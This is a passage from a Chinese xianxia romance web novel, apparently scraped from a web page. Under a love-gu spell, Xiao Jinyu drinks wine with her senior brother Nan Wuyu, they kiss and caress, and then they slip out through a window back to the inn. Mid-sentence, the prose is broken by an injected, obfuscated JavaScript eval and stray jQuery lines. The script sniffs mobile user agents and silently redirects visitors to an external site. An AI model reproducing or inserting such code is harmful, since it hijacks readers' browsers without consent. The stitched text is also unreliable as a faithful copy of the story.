可她如何能拒绝师兄呢?
情蛊加持下,百分九十的痴女值。宵衿羽不知自己要用多少理智,才能去克制这样澎湃的痴迷?
可她又向来不是心智至坚之人,所以,她自觉是不能的。现在的师兄于她而言宛如魅妖。
他的任何一举一动,都足以牵带起她心中万万千千涟漪。
宵衿羽仰起头,两颊坨红,双眸迷离,听话地启了唇。
冰冷的杯壁触碰上滚热的唇,刹那间便消解了她心中烦闷,酒液沿着唇缝缓缓流至她口中,先是一阵微凉,入喉方觉绵甜酣畅,回味又是一股桃花清香,没有丝毫辛辣。
一杯下肚,宵衿羽品得闭了眼,软软倒在南无玉怀中,咂了咂嘴,仍觉不够。
“再来一杯。”她道。
斟酒声从耳边传来,很快,冰凉的杯壁又贴在了她唇上。
杯口倾倒,甜润的酒液缓慢灌入她口中。
又一杯饮尽,宵衿羽越喝越觉得这酒滋味好,又甜又香,还不辣人。便摇头晃脑地说了句,“再来!”
可南无玉却并未再与她斟酒,视线落在她唇心残余的一滴桃花醉上,轻声问她:“好喝吗?”
“好喝。”
宵衿羽呵呵笑了声,“比我以前喝的酒都好喝,这酒不烈,师兄你真该尝尝的。”
“是么,那我尝尝。”他道。
宵衿羽闭着眼虚空点了点头,可耳边并未响起斟酒声,她正想睁眼看看,眼前却忽然一片昏黑,她的双唇被衔住,随后柔软的舌尖舔过她唇心。
宵衿羽顿僵,只觉浑身的血液都好似被柴火煮开了一般,咕嘟咕嘟地沸腾起来。
那舌尖在她唇心舔过后便离去,二人双唇剥离时,还发出“啵啧”一声湿响。
宵衿羽睁开了双眼,她的呼吸声已然因为这个不算吻的吻,变得无法自控起来。
没有一丝思考和犹豫,她径直坐起身,双手勾住南无玉脖颈,义无反顾地回吻了上去。
在山中,在南师兄房中,她分明一直忍得很好,一直告诫自己不要被情蛊控制。
但这次,是师兄先招惹她的。所以,不该是她的错。
南无玉并未拒绝几乎全身都快压在他身上的宵衿羽,含住她蛮横探入自己口中的小舌,肆意吸吮着上头残留的桃花香甜。
可火热绵长的吻,就像一道泄了水的闸,冲开一块,便会有第二块,第三块,直至最后整个堤坝崩塌。
宵衿羽甚至不知自己是如何坐到南无玉身上去的,等她理智稍稍回笼片刻时,自己已然抓着南无玉的手,揉在了胸口。
可这里……是酒楼啊。外面还有躁动嘈杂的人声。他们怎么可以在这里就……
羞耻与羞愧一同蔓延上宵衿羽的大脑,她怔愣着松开手,只觉自己太过分了。
即便是她那个世界,即便是正儿八经的情侣,也几乎不会有人在公共场所,毫无节制地做这样的事。
倘若那小厮忽而有事推门而入,眼前此景万一流传出去,她是无名小卒尚且好些,大家顶多只会称她为——万法宗内的某个不入流女修。
可南师兄就不同了,他不只是万法宗的魁首,更是其他宗门弟子无法相比的存在。
越是这样高高在上的人,众人便越是期待他深陷泥潭,不得翻身。
“师…嗯……”宵衿羽的呼唤化成一声绵长的吟叹。
她的手虽松开了,可南无玉的手却还仍在继续。
宵衿羽想说的话被淹没,可南无玉却还是听到了,他松了手,抚了抚宵衿羽已然有些粉肿的唇,声音闷哑:“回去了好不好?”
“可是……菜都还没……”宵衿羽的呼吸声断续,口中所说的话更像是给自己一个缓冲,而非真的肚子饿了。
身为修士,讲究少食,清食。她虽还未修炼到南无玉那种境界,偶尔不吃几餐,对修行反而是有益的。
宵衿羽真正心疼的是她的钱,花光了积蓄却没吃上一口,实在是太浪费了。
南无玉看她依依不舍地盯着桌上的菜,便知她心中所想。
他抚了抚她因
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184716|190712||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
情动而双颊坨红的脸,柔声道:“你眼下样子不适合再从正门出去。今日我付,你欠我一顿,来日再请我,如何?”
宵衿羽觉得这个提议十分合理,若不是师兄先逗弄她,她身上情蛊就不会这么快发起来。
“可是,不走正门,怎么回去啊?”她蹙眉。
南无玉看了眼厢间临街的窗户,在桌上放了一锭银子后,笑看了宵衿羽一眼,“抱着我。我们翻出去。”
想要在嘉禾楼这样富贵的酒楼里翻窗并不容易,因为通常只有想逃单的人才会如此做。
这楼外一圈站着的既是小厮也是保镖,就是为了防止有人溜走。
不过,就像宵衿羽之前说的。修为越高的人,做起坏事来,往往比普通人更容易。
楼下人还未察觉出什么,他便已经抱着宵衿羽飞檐走壁,随心所欲地往客栈而去。
情蛊一起便无法轻易散去,待宵衿羽被南无玉带着回到了自己房中后,她浑身都还是又烫又红,迫不及待地便想要将方才在客栈中不好继续的事,继续下去。
可南无玉却轻推了推她道:“晚些,今日上山染了一身沙尘,待我沐浴后再陪你好不好?”
可宵衿羽此刻哪里是能忍得的了,只环紧南无玉的腰一个劲地摇头说不好。
“我要你现在就陪我。”
宵衿羽踮起脚尖娇蛮地吻上他,二人唇舌又纠缠半顷,她迫不及待地便想拉着南无玉去自己榻上。
“阿羽,听话。我保证不让你久等,好吗?”南无玉耐心哄她。
宵衿羽自然也知他们在外奔波一日,沐浴后再继续才更舒适些。可她太难受了,难受得一时半刻都捱不了。
宵衿羽双眼湿红,带着哭腔道:“可是我现在好难受,我没办法离开你。要不然......我和之前一样,在你房中等你吧。”
“好。”南无玉几乎没有犹豫便应下了,又吩咐她道:“那你先回我房中,我去叫水。”
宵衿羽点点头,便先前往了南无玉房中,静待他叫水归来。